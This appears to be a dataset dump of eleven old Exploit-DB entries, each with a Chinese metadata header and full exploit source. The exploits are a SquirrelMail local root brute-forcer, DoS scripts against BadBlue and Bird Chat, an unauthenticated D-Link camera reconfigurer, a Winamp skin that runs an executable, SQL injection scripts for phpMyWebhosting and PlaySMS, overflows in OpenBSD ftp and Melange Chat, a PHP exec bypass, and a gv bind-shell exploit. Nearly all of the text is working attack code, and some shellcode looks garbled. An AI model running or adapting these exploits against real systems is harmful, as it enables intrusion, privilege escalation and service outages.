QLWD/code_shield huggingface dataset:
标题: SquirrelMail - 'chpasswd' Local Privilege Escalation (Brute Force) EDB-ID: 417 CVE: 2004-0524 类型: LOCAL 平台: LINUX 发布日期: 2004-08-25 漏洞利用脚本: /* 

** PST_chpasswd_exp-v_b.c: 
** 
** Squirrelmail chpasswd local root bruteforce exploit 
** Author: 
** Bytes<Bytes[at]ph4nt0m.net> || <Bytes[at]ph4nt0m.org> 
** www ph4nt0m net 
** Notice: 
** v_b: Local bruteforce version 
** v_R: remote bruteforce version 
** 
** 
** Greatze: #ph4nt0m,#music@0x557 
** All PST member,Grip2,Airsupply,Jambalaya,Ann,Paul,Happy... 
** Thax: My GF(Luz),Oyxin,Winewind,Envymask,Eong,luoluo,GoGo(f0r ever)... 
** 
** 
** -=-=-=-=-=-=-=-=-=-= !!![+PH4NT0M TEAM PRIVATE EXPLOIT+]!!! =-=-=-=-=-=-=-=-=-=- 
** 
** Date: 2004-04 # DO NOT DISTRIBUTE # 
** 
** You Must get account belong to Webmaster ,www or other webserver groups. 
** 
*/ 

#include <stdio.h> 
#include <unistd.h> 
#include <stdlib.h> 
#include <sys/wait.h> 

#define NOP 0x90 
#define Fuckpr0 "./chpasswd" /* you need modify it by yourself */ 
#define LOOP 2000 /* loop of bruteforce */ 

/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */ 

char shellcode[] ="x31xdbx53x8dx43x17xcdx80x99x68x6ex2fx73x68x68" 
"x2fx2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80"; 

unsigned long get_esp() { 

__asm__ ("movl %esp,%eax"); 

} 

void *M_malloc(size_t size){ 

register void *value; 

value = malloc(size); 

if(value == NULL){ 

printf("ERROR:virtual memory exhausted...n"); 

exit(-1); 

} 

return value; 

} 

int main(void){ 

unsigned long ret_addr; 

int i,j=0,offset=2,status; 

char *buf1,*buf2; 

pid_t pid; 

ret_addr = get_esp() - strlen(Fuckpr0) - strlen(shellcode); 

printf("t-------------------------------------------------------n"); 
printf("t Squirrelmail chpasswd local root bruteforce exploit n"); 
printf("t code By Bytes<Bytes[at]ph4nt0m.org> 2004 n"); 
printf("t http://www.ph4nt0m.net n"); 
printf("t#######################################################n"); 


sleep(1); 

printf("[+] Bruteforce......nn"); 

sleep(2); 

buf1 = (char *)M_malloc(150); 

buf2 = (char *)M_malloc(600); 

while(j <= LOOP){ 

if((pid = fork()) == 0){ 

memset(buf2,0x90,sizeof(buf2) - strlen(shellcode) - 8); 

memcpy(buf2 + sizeof(buf2) - strlen(shellcode) - 8,shellcode,sizeof(shellcode)); 

for(i=0; i < 150; i+=4){ 

*((unsigned long *)(buf1+i)) = ret_addr; 

} 

printf("buf1 = %sn",buf1); 

execl(Fuckpr0,"chpasswd",buf1,buf2,0); 

} 

wait(&status); 

printf("[-] Signal: #%in", status); 

if(WIFEXITED(status) != 0 ) { 

printf("[=] Step.%i: 0x%xn[~] Exiting...n",(j/2),ret_addr); 

exit(1); 

}else{ 

ret_addr += offset; 

j += offset; 

printf("[=] Offset:%d Use ret:0x%xn",j, ret_addr); 

} 

} 

free(buf1); 

free(buf2); 

return 1; 

} 

// milw0rm.com [2004-08-25] URL: https://www.exploit-db.com/exploits/417
标题: BadBlue 2.52 Web Server - Multiple Connections Denial of Service Vulnerabilities EDB-ID: 419 CVE: 2004-1727 类型: DOS 平台: WINDOWS 发布日期: 2004-08-26 漏洞利用脚本: #!/usr/bin/perl 
############################################################## 
# BadBlue v2.52 Web Server - Multiple Connections DoS POC Code 
############################################################## 
# BadBlue Web Server can not handle many simultaneous connects 
# from the same host, and will lock up until the connects stop 
############################################################## 
# This Proof Of Concept Written By GulfTech Security Research 
############################################################## 

use Strict; 
use Socket; 
use IO::Socket; 

my $host = $ARGV[0]; 
my $port = $ARGV[1]; 
my $stop = $ARGV[2]; 
my $size = 1000; 
my $prot = getprotobyname('tcp'); 
my $slep = $ARGV[3]; 

printf("================================================ "); 
printf(" BadBlue v2.52 Web Server Denial Of Service POC "); 
printf("================================================ "); 
printf("
Making %d Connections To %s ", $stop , $host); 

for ($i=1; $i<$stop; $i++) 
{ 
socket($i, PF_INET, SOCK_STREAM, $prot ); 
my $dest = sockaddr_in ($port, inet_aton($host)); 
connect($i, $dest); 
} 

CheckServer($host, $i, $slep, $stop); 
KillThreads($stop); 
printf("
Exploit Attempt Unsuccesful"); 
exit; 

sub CheckServer($host, $i, $slep, $stop) { 
($host, $i, $slep, $stop) = @_; 
$blank = "1512" x 2; 
$request = "GET / HTTP/1.0".$blank; 
$remote = IO::Socket::INET->new( Proto => "tcp", 
PeerAddr => $host, 
PeerPort => $port, 
Timeout => '10000', 
Type => SOCK_STREAM, 
); 
print $remote $request; 
unless ( <$remote> ) 
{ 
printf("
Host %s Has Been Successfully DoS'ed ", $host); 
printf("
The Host Will Be Down For %d Seconds ", $slep); 
sleep($slep); 
KillThreads($stop); 
exit; 
} 
} 

sub KillThreads($stop) { 
$stop = @_; 
printf("
Killing All active Connections"); 
for ($l=1; $l<$stop; $l++) { 
shutdown($l,2)|| die("Couldn't Shut Down Socket"); 
$l++; 
} 
} 

# milw0rm.com [2004-08-26] URL: https://www.exploit-db.com/exploits/419
标题: D-Link DCS-900 Camera - Remote IP Address Changer EDB-ID: 425 CVE: 2004-1650 类型: REMOTE 平台: HARDWARE 发布日期: 2004-08-31 漏洞利用脚本: /*
  dlinkdown.c - miscname.com

  change ip address on all dlink dcs-900 cameras on the local network without authentication

  dlink dcs-900 ip cameras use a broadcast/listen method of configuration ...
  rather than a static ip addr out of the box, it listens for a 62976/udp broadcast packet
  telling it what ip addr to set itself too

  http://www.dlink.com.au/Default.aspx?ArticleID=109

  rtfs and mod the ip address to set all listening cameras too (default is 10.0.50.50)
*/

#include <libnet.h>
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]) {

 libnet_t *p;
 libnet_ptag_t ip, udp, ipoptions, ether;
 u_long srcip, dstip;
 u_short srcport = 62976, dstport = 62976, x;
 signed int ret;
 char errbuff[LIBNET_ERRBUF_SIZE], ipopt[21];
 int len;
 int8_t *macdst = "ff:ff:ff:ff:ff:ff";
 u_int8_t *macdest;
 char payload[128] =  "\xfd\xfd\x00\x04\x00\x03\x00\x0f\x3d\x56\x97\x07"
    "\x0a\x00\x32\x32" /* ip address to set too */
    "\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00";
 u_short payloadlen = strlen(payload);

 srcip = libnet_get_ipaddr4(p); /* mod to spoof */
 dstip = libnet_name2addr4(p,"255.255.255.255",LIBNET_DONT_RESOLVE); /* 255.255.255.255 */
 udp = ip = ether = ipoptions = 0;

 if ( (macdest = libnet_hex_aton(macdst,&len)) == NULL) {
  fprintf(stderr,"cant get mac str - %s",libnet_geterror(p));
  exit (1);
 }

 if ( (p = libnet_init (LIBNET_LINK, NULL, errbuff)) == NULL) {
  fprintf(stderr,"cant init() - %s\n",errbuff);
  exit (1);
 }

 if ( (udp = libnet_build_udp(srcport,dstport,LIBNET_UDP_H + payloadlen,0,payload,payloadlen,p,udp)) == -1) {
  fprintf(stderr,"cant build udp - %s\n",libnet_geterror(p));
  exit (1);
 }

 for (x=0;x<20;x++) {
  ipopt[x] = libnet_get_prand(LIBNET_PR2);
 }

 ipoptions = libnet_build_ipv4_options (ipopt,20,p,ipoptions);

 if ( (ip = libnet_build_ipv4 (LIBNET_IPV4_H + 20 + payloadlen + LIBNET_UDP_H,0,250,0,128,IPPROTO_UDP,
0,srcip,dstip,payload,payloadlen,p,ip)) == -1) {
  fprintf(stderr,"cant build ipv4 - %s\n",libnet_geterror(p));
  exit (1);
 }

 if ((ether = libnet_build_ethernet (macdest,macdest,ETHERTYPE_IP,NULL,0,p,ether)) == -1) {
  fprintf(stderr,"cant build ether - %s",libnet_geterror(p));
  exit (1);
 }

 //libnet_diag_dump_pblock(p);

 if ( (ret = libnet_write(p)) == -1) {
  fprintf(stderr,"%s\n",libnet_geterror(p));
 }
 
 free(macdest); /* hex_aton malloc's - see libnet doco */
 libnet_destroy(p);

 return 0;
}

// milw0rm.com [2004-08-31] URL: https://www.exploit-db.com/exploits/425
标题: Winamp 5.04 - '.wsz' Skin File Remote Code Execution EDB-ID: 418 CVE: 2004-0820 类型: REMOTE 平台: WINDOWS 发布日期: 2004-08-25 漏洞利用脚本: This 0day exploit is known to be circulating in the wild

There is no patch for this vulnerability -> Do not use Winamp !

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/418.rar    (skinhead.rar - 171 Ko)


index.html
-----------
<html>
<head>
</head>
<frameset rows="*,1" framespacing="0" border="0" frameborder="NO">
<frame src="load.php" name="frame_content" scrolling="auto" noresize>
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>


Load.php
---------
<?php
$httpref = $HTTP_REFERER;
header("Location: http://URL/foo.wsz");
?> 


foo.wsz (foo.zip)
-----------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml


/html/test.htm
----------------
<html>
<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'>
</html>


/xml/includes.xml
-------------------
<include file="player.xml"/>


/xml/player-normal.xml
-------------------------
<layout>
<browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
</layout>


/xml/player.xml
-----------------
<container id="main" name="main">
<include file="player-normal.xml"/>
</container>


/skin.xml
---------
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<WinampAbstractionLayer version="1.1">
<skininfo>
<version>1.0</version>
<name>Batman</name>
<comment></comment>
<author>Petrol Designs</author>
<email>info@petroldesigns.com</email>
<homepage>http://www.petroldesigns.com</homepage>
</skininfo>

<include file="xml/includes.xml"/>
<!-- 
-->
</WinampAbstractionLayer>

// milw0rm.com [2004-08-25] URL: https://www.exploit-db.com/exploits/418
标题: Bird Chat 1.61 - Denial of Service EDB-ID: 420 CVE: 2004-1739 类型: DOS 平台: WINDOWS_X86 发布日期: 2004-08-26 漏洞利用脚本: /*
    Bird Chat 1.61 - Denial Of Service - Proof Of Concept
    Coded by: Donato Ferrante
*/



import java.net.Socket;
import java.net.InetAddress;
import java.net.ConnectException;
import java.net.SocketTimeoutException;
import java.io.OutputStream;
import java.io.InputStream;







public class BirdChat161_DoS_poc {



private final static int MAX_CONNECTION = 16;
private final static int PORT = 7016;
private final static String VERSION = "0.1.0";



public static void main(String [] args){



  System.out.println(
                     "\n\nBird Chat 1.61 - Denial Of Service - Proof Of Concept\n" +
                     "Version: " + VERSION + "\n\n"                 +
                     "coded by: Donato Ferrante\n"                  +
                     "e-mail:   fdonato@autistici.org\n"            +
                     "web:      www.autistici.org/fdonato\;n\n"
                    );


    String host = "localhost";

        try{

            if(args.length != 1)
                usage();

                host = args[0];

        }catch(Exception e){usage();}
    
        try{


            int i = 1,
                var = 0;


           while(i++ <= MAX_CONNECTION){

            try{

               String err = "";
               int port = PORT;
               InetAddress addr = InetAddress.getByName(host);
               Socket socket = new Socket(addr, port);
               socket.setSoTimeout(3000);



               InputStream stream = socket.getInputStream();

                  int line = stream.read();
                   while(line != -1){

                       if(line == '?'){
                           break;
                       }

                       line = stream.read();

                   }


               OutputStream outStream = socket.getOutputStream();
               outStream.write(("*user=fake_user0" + ++var + "\n").getBytes());


                int count = 0;
               line = stream.read();
                    while(true){

                       line = stream.read();

                        if(line == '\n')
                           count++;

                       if(count >= 3)
                           break;
               }


            }catch(SocketTimeoutException ste){break;}
            catch(ConnectException ce){System.err.println(ce); continue;}
        }


        }catch(Exception e){System.err.println(e);}

        System.out.println("\nBird Chat - Denial Of Service - Proof_Of_Concept terminated.\n\n");
    }







    private static void usage(){

        System.out.println("Usage: java BirdChat161_DoS_poc <host>\n\n");    
        System.exit(-1);
    }
}


// milw0rm.com [2004-08-26] URL: https://www.exploit-db.com/exploits/420
标题: phpMyWebhosting - SQL Injection EDB-ID: 406 CVE: 2004-2218 类型: WEBAPPS 平台: PHP 发布日期: 2004-08-20 漏洞利用脚本: #!/usr/bin/perl
# Exploit code by Noam Rathaus of Beyond Security Ltd.
# The following exploit code will use a valid username and password 
combination, to cause an SQL injection.
# Using the SQL injection, the Perl script elevates the privileges of the 
user provided to administrative.

use IO::Socket;
use strict;

my $Host = shift;
my $Path = shift;
my $Username = shift;
my $Password = shift;

if ($Host eq "" || $Path eq "" || $Username eq "" || $Password eq "")
{
print "You must run the script with the following syntax:\n";
print $0." hostname path username password\n";
exit(0);
}

my $remote = IO::Socket::INET->new (  Proto => "tcp", PeerAddr => $Host, 
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $Host" }

print "connected\n";

$remote->autoflush(1);

my $http = "POST /$Path/index.php HTTP/1.1
Host: $Host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040506 
Firefox/0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: ";

my $content = 
"PHP_AUTH_USER=$Username&password=$Password&language=english',isadmin='Y&login=Login";

$http .= length($content)."

$content";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while ()
{
print $_;
}
print "\n";

close $remote;


# milw0rm.com [2004-08-20] URL: https://www.exploit-db.com/exploits/406
标题: PlaySms 0.7 - SQL Injection EDB-ID: 404 CVE: 2004-2263 类型: REMOTE 平台: LINUX 发布日期: 2004-08-19 漏洞利用脚本: #!/usr/bin/perl 
# PlaySMS version 0.7 and prior SQL Injection PoC 
# Written by Noam Rathaus of Beyond Security Ltd. 
# 

use IO::Socket; 
use strict; 

my $host = $ARGV[0]; 

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" ); 

unless ($remote) { die "cannot connect to http daemon on $host" } 

print "connected "; 

$remote->autoflush(1); 

my $http = "GET /~playsms/fr_left.php HTTP/1.1 
Host: $host:80 
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 
Firefox/0.9.1 
Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 
Accept-Language: en-us,en;q=0.5 
Accept-Encoding: gzip,deflate 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 
Keep-Alive: 300 
Cookie: vc1=ticket; vc2='%20union%20select%20'ticket; 
Content-Type: application/x-www-form-urlencoded 
Connection: close 

"; 

print "HTTP: [$http] "; 
print $remote $http; 
sleep(1); 
print "Sent "; 

while (<$remote>) 
{ 
print $_; 
} 
print " "; 

close $remote; 

# milw0rm.com [2004-08-19] URL: https://www.exploit-db.com/exploits/404
标题: OpenBSD - 'ftp' Local Overflow EDB-ID: 396 CVE: 2000-0574 类型: LOCAL 平台: BSD 发布日期: 2002-01-01 漏洞利用脚本: /* 7350-crocodile - x86/OpenBSD ftp exploit
 *
 * by lorian and scut / TESO=20
 * 
 *
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is unpublished proprietary source code of TESO Security.
 *
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security. This includes especially the Bugtraq mailing list, the
 * www.hack.co.za website and any public exploit archive.
 *
 * (C) COPYRIGHT TESO Security, 2002
 * All Rights Reserved
 *
 *****************************************************************************
 *
 * greetz: synnergy, GOBBLES Security
 *
 */

#include <stdio.h>
#include <string.h>
#define RET 0xbfffeb30


#define VERSION  "0.2.0"
#define USERNAME "anonymous"
#define PASSWORD "guest@"


char shellcode[] =

"\x32\xdb\x81\xd1\xb1\x72\xcd\x83"
"\x21\x21\x31\xc2\x32\xdb\xb5\x27"
"\xcd\x71\x23\xc2\xb3\x72\xcd\x81"
"\x32\xc1\x12\xdb\xb4\x3e\xcd\x81"
"\xeb\x4f\x35\xc2\x31\xc1\x5e\xb1"
"\x32\x7d\x5e\x98\xfe\xc2\xb8\xed"
"\xcd\x79\x38\xc1\x1d\x3e\x18\xb1"
"\x3d\xcd\x82\x32\xc1\xbb\xd2\xd2"
"\xd2\xff\xf2\xdb\x39\xc1\xb2\x11"
"\x56\x75\xce\x82\x0e\x81\xc9\x13"
"\xe5\xf2\x1e\xb5\x0d\x8d\x1e\x11"
"\xcd\x21\x31\xc2\x09\x42\x21\x19"
"\x70\x48\x21\x41\x9c\xb3\x2b\x81"
"\xf1\x2d\x2e\x18\x1d\x32\x7c\xcd"
"\x82\xe2\xac\xff\xff\xff";

void mkd(char *dir)
{
        char blah[2048], *p;
        int n;
        bzero(blah, sizeof(blah));

        p = blah;
         for(n=1; n<strlen(dir); n++){
                if(dir[n] == '\xff'){
                        *p = '\xff';
                        p++;
                }
                *p = dir[n];
                p++;
        }

        printf("MKD %s\r\n", blah);
        printf("CWD %s\r\n", blah);
}

void
main (int argc, char *argv[])
{

char *buf;
char buf2[200];
char buf1[400];
char dir2[255];
char *p;
char *q;
char tmp[255];
int a;
int offset;
int i;

  if (argc > 0) offset = atoi(argv[0]);
    else offset = 1;

fprintf(stderr, "ret-addr = 0x%x\n", RET + offset);
fprintf(stderr, "shell size = %d\n", sizeof(shellcode));

dir2[231] = '\1';
memset(dir2, '\x70', 255);

        printf("user %s\r\n", USERNAME);
        printf("pass %s\r\n", PASSWORD);
        printf("cwd %s\r\n", argv[2]);

memset(buf1, 0x50, 150);
p = &buf1[sizeof(argv[0])];
q = &buf1[399];
*q = '\x00';
while(q <= p) {
        strncpy(tmp, p, 80);
        mkd(tmp);
        p+=255; }

        mkd(dir2);
        mkd(shellcode);
        mkd("bin");
        mkd("sh");

        memset(buf2, 0x30, 40);
// var 96
for(i=4; i<20; i+=4)
        *(long *)&buf2[i+1] = RET;
p = &buf2[0];
q = &buf2[50];
strncpy(tmp, p, 20);
 mkd(tmp);
 printf("pwd\r\n");
}


// milw0rm.com [2002-01-01] URL: https://www.exploit-db.com/exploits/396
标题: PHP 4.3.7 - 'php-exec-dir' Patch Command Access Restriction Bypass EDB-ID: 384 CVE: 2004-2692 类型: WEBAPPS 平台: PHP 发布日期: 2004-08-08 漏洞利用脚本: <?php 
$blah = `& /bin/ps aux`; 
echo nl2br($blah); 
?> 

<?php 
$blah = `| /bin/ps aux`; 
echo nl2br($blah); 
?> 


# milw0rm.com [2004-08-08] URL: https://www.exploit-db.com/exploits/384
标题: GV PostScript Viewer - Remote Buffer Overflow (1) EDB-ID: 390 CVE: 2004-1717 类型: REMOTE 平台: LINUX 发布日期: 2004-08-13 漏洞利用脚本: /*
 * gv postscript viewer exploit , infamous42md AT hotpop DOT com
 *
 * run of the mill bof.  spawns a remote shell on port 7000.  woopty doo. if
 * someone has been able to exploit the heap overflow in cfengine, please email
 * me and teach me something. after days of pain i've concluded it's not 
 * possible b/c you can't manipulate the heap enough to get anything good in 
 * front of you.  please prove me wrong so i can learn.
 *
 * shouts to mitakeet
 *
 *  [n00b localho outernet] netstat -ant | grep 7000
 *  [n00b localho outernet] gcc -Wall -o gvown gvown.c
 *  [n00b localho outernet] ./gvown 0xbffff350
 *  [n00b localho outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps 
 *  [n00b localho outernet] netstat -ant | grep 7000
 *  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN   
  
 */
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define NOP 0x90
#define NNOPS 512
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define RETADDR_BYTES 400
#define PS_COMMENT "%!PS-Adobe- "
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"


/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    

int main(int argc, char **argv)
{
    int len, x, fd;
    char    buf[BS];
    u_long  retaddr;

    if(argc < 2){
        fprintf(stderr, "Usage: %s < retaddr >\n", argv[0]);
        return EXIT_FAILURE;
    }
    sscanf(argv[1], "%lx", &retaddr);

    /* create 3vil buf */
    memset(buf, NOP, BS);
    strcpy(buf, PS_COMMENT);
    len = strlen(buf);
    for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
        memcpy(buf+x+len, &retaddr, sizeof(retaddr));
    len += x + NNOPS;
    strcpy(buf+len, remote);
    strcat(buf+len, "\n");
    len += strlen(remote) + 1;   /* + NULL */

    /* create the 3vil file */
    if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)
        die("open");
    
    if(write(fd, buf, len) < 0)
        die("write");

    close(fd);
    
    return 0;
}

// milw0rm.com [2004-08-13] URL: https://www.exploit-db.com/exploits/390
标题: Melange Chat Server 1.10 - Remote Buffer Overflow EDB-ID: 382 CVE: 2002-1351 类型: REMOTE 平台: LINUX 发布日期: 2002-12-24 漏洞利用脚本: /*
   Proof of Concept for Melange Chat Server 1.10
   a lame remote bof exploit by innerphobia <up2u_@hotmail.com> 12/24/02

   Credits go to:
   - iDefense Labs for the advisory
   - blink for discovering the bug
   - Irian for the shellcode

   With careful calculation it is *possible* to control even the EIP,
   not just one byte of EIP.
   There are to a few things that will happen if we use a wrong ret address:
   1. Seg fault / shut down.
   2. Keep on going < nothing happens >.

   Code tested on Suse 8.0 and RH 7.3
   Merry Xmas :)
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>

// magic numbers begin here
#define ADDR 0xbfffd490
#define NICKLEN 49
#define BUFFLEN 463
// magic numbers end

// brutally copied from Irian's cy.c
char evil[]=
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43"
"\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc,char **argv){
    int i,j=0,sock,port = 6666;
    char *host;
    char nick[NICKLEN],buff[BUFFLEN];
    struct hostent *htent;
    struct sockaddr_in serv_addr;
    long jump = ADDR;
    u_long *ptr = (u_long *)buff;

    if(argc>4||argc<2)
        printf("Usage : %s [hostname] [ret address in hex (0x41414141)] 
[port]\n",argv[0]),exit(1);

    host=argv[1];
    if(argc>2) sscanf(argv[2],"0x%lx",&jump);
    if(argc>3) port=atoi(argv[3]);

    if((htent = gethostbyname(argv[1])) != NULL && (sock = 
socket(AF_INET,SOCK_STREAM,0)) != -1){

        serv_addr.sin_family = AF_INET;
        memcpy((char 
*)&serv_addr.sin_addr.s_addr,htent->h_addr_list[0],htent->h_length);
        serv_addr.sin_port = htons(port);

        if(!connect(sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))){

            printf("Connected to %s at %d [0x%lx]\nTrying to send %d chars 
NICKNAME\n",host,port,jump,sizeof(nick)-6);

            memset(nick,'A',sizeof(nick)),memcpy(nick,"/NICK ",6);

            if(send(sock,nick,sizeof(nick),0) == -1)
                perror("Sending nickname failed\n"),exit(1);
            sleep(1);

            for(i=0;i<sizeof(buff);i+=4) *(ptr++)=jump;
            for(i=0;i<sizeof(buff)-200-strlen(evil);i++) buff[i]=0x90;
            for(j=0;j<strlen(evil);j++) buff[i++]=evil[j];

            printf("Trying to send overflow string\n");

            if(send(sock,buff,sizeof(buff),0) == -1)
                perror("Sending overflow failed :(\n"),exit(1);

            sleep(1);
            printf("Now try to connect to host : %s port : 26112\n",host);
            close(sock);
        }
        else printf("Can't connect to %s at %d\n",host,port),exit(1);
    }
}

// milw0rm.com [2002-12-24] URL: https://www.exploit-db.com/exploits/382